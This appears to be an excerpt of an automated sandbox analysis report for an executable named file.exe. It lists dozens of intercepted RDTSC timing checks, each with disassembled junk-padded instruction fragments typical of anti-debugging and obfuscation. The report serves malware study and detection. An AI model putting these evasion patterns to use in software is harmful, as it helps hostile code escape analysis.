Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620CEC second address: 620CF6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4F7C812076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625207 second address: 625220 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F4F7D4AED22h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625220 second address: 62522E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jno 00007F4F7C812076h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62522E second address: 625234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62494C second address: 624950 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 624950 second address: 62495A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B232 second address: 62B242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F4F7C812076h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B242 second address: 62B246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B246 second address: 62B262 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C812088h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B262 second address: 62B2AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F4F7D4AED1Fh 0x0000000d jmp 00007F4F7D4AED26h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F4F7D4AED27h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629BAF second address: 629BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629BB3 second address: 629BB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629BB9 second address: 629BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7C812082h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629BCF second address: 629BDE instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4F7D4AED16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629BDE second address: 629BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629D48 second address: 629D68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 jmp 00007F4F7D4AED29h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629D68 second address: 629D6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629EF0 second address: 629F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 js 00007F4F7D4AED1Ah 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007F4F7D4AED16h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629F07 second address: 629F0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629F0B second address: 629F1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7D4AED1Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D0F2C second address: 5D0FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jne 00007F4F7C812076h 0x0000000c pop ecx 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 cld 0x00000012 xor cx, 282Eh 0x00000017 mov ebx, dword ptr [ebp+12483E68h] 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007F4F7C812078h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 0000001Dh 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 add eax, ebx 0x00000039 push 00000000h 0x0000003b push ebp 0x0000003c call 00007F4F7C812078h 0x00000041 pop ebp 0x00000042 mov dword ptr [esp+04h], ebp 0x00000046 add dword ptr [esp+04h], 00000019h 0x0000004e inc ebp 0x0000004f push ebp 0x00000050 ret 0x00000051 pop ebp 0x00000052 ret 0x00000053 push eax 0x00000054 pushad 0x00000055 jng 00007F4F7C812085h 0x0000005b jmp 00007F4F7C81207Fh 0x00000060 pushad 0x00000061 push edi 0x00000062 pop edi 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A4DA second address: 62A50C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED1Eh 0x00000007 jmp 00007F4F7D4AED28h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007F4F7D4AED16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A50C second address: 62A510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62AF1D second address: 62AF32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4F7D4AED16h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push edx 0x00000011 pop edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F3FB second address: 62F401 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F401 second address: 62F407 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F407 second address: 62F427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F4F7C812086h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F845 second address: 62F84F instructions: 0x00000000 rdtsc 0x00000002 je 00007F4F7D4AED16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F84F second address: 62F859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F859 second address: 62F85F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F85F second address: 62F863 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FB04 second address: 62FB0E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4F7D4AED1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638B49 second address: 638B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638B4F second address: 638B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638B58 second address: 638B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636BCC second address: 636BD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636BD0 second address: 636BF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4F7C812088h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636D17 second address: 636D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63700E second address: 637012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637012 second address: 63702B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4F7D4AED16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4F7D4AED1Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63702B second address: 637030 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63756B second address: 6375A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4F7D4AED1Ah 0x00000008 jmp 00007F4F7D4AED21h 0x0000000d jmp 00007F4F7D4AED27h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6378A9 second address: 6378C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C812081h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6378C4 second address: 6378C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637E8C second address: 637E92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637E92 second address: 637EA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637EA4 second address: 637EBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7C812083h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637EBB second address: 637EC5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4F7D4AED16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637EC5 second address: 637EE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C812085h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637EE2 second address: 637EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63817B second address: 638182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638182 second address: 6381B7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F4F7D4AED29h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4F7D4AED24h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6384CC second address: 6384E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F4F7C812076h 0x00000011 jmp 00007F4F7C81207Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6387DB second address: 63882F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7D4AED26h 0x00000009 jl 00007F4F7D4AED16h 0x0000000f popad 0x00000010 jnp 00007F4F7D4AED2Dh 0x00000016 jmp 00007F4F7D4AED27h 0x0000001b jne 00007F4F7D4AED18h 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 pushad 0x00000025 push ecx 0x00000026 push ebx 0x00000027 pop ebx 0x00000028 pop ecx 0x00000029 jl 00007F4F7D4AED22h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63882F second address: 638835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BF0E second address: 63BF18 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4F7D4AED16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BF18 second address: 63BF1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BF1E second address: 63BF32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007F4F7D4AED16h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F4F7D4AED16h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C8C0 second address: 63C8C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C8C6 second address: 63C8CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C8CC second address: 63C8D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C8D0 second address: 63C8D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64177F second address: 641785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641785 second address: 64178B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64178B second address: 64178F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64178F second address: 6417A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6417A6 second address: 6417CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F4F7C812089h 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B041 second address: 64B045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649400 second address: 649404 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6496C9 second address: 6496E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4F7D4AED22h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6496E0 second address: 6496E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649837 second address: 649847 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F4F7D4AED16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649847 second address: 649851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F4F7C812076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649E36 second address: 649E3B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590F7E second address: 590F9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F4F7C812087h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F054 second address: 64F060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F060 second address: 64F065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F065 second address: 64F06A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F06A second address: 64F077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jl 00007F4F7C812089h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6521C8 second address: 6521D2 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4F7D4AED16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6521D2 second address: 6521F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4F7C81207Fh 0x0000000b pop ebx 0x0000000c js 00007F4F7C812082h 0x00000012 js 00007F4F7C81207Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65233A second address: 652354 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED22h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652354 second address: 652358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654DA6 second address: 654DAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E9ED second address: 65E9F3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E9F3 second address: 65EA01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F4F7D4AED18h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662986 second address: 66298A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662AB4 second address: 662ABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662ABD second address: 662AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F4F7C812076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6655AA second address: 6655AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6655AE second address: 6655B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6656FC second address: 665737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F4F7D4AED29h 0x0000000b push esi 0x0000000c pop esi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4F7D4AED25h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 665737 second address: 665754 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4F7C812076h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007F4F7C812078h 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 pushad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push edx 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 665754 second address: 66575D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66575D second address: 665779 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F4F7C81207Eh 0x0000000c pushad 0x0000000d popad 0x0000000e jno 00007F4F7C812076h 0x00000014 push eax 0x00000015 push edx 0x00000016 jnc 00007F4F7C812076h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66D9E6 second address: 66D9FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4F7D4AED16h 0x0000000a jng 00007F4F7D4AED16h 0x00000010 popad 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66D9FA second address: 66DA0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7C81207Ah 0x00000009 pop edi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66DA0E second address: 66DA28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4F7D4AED16h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F4F7D4AED1Ch 0x00000014 jnc 00007F4F7D4AED16h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66DA28 second address: 66DA2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
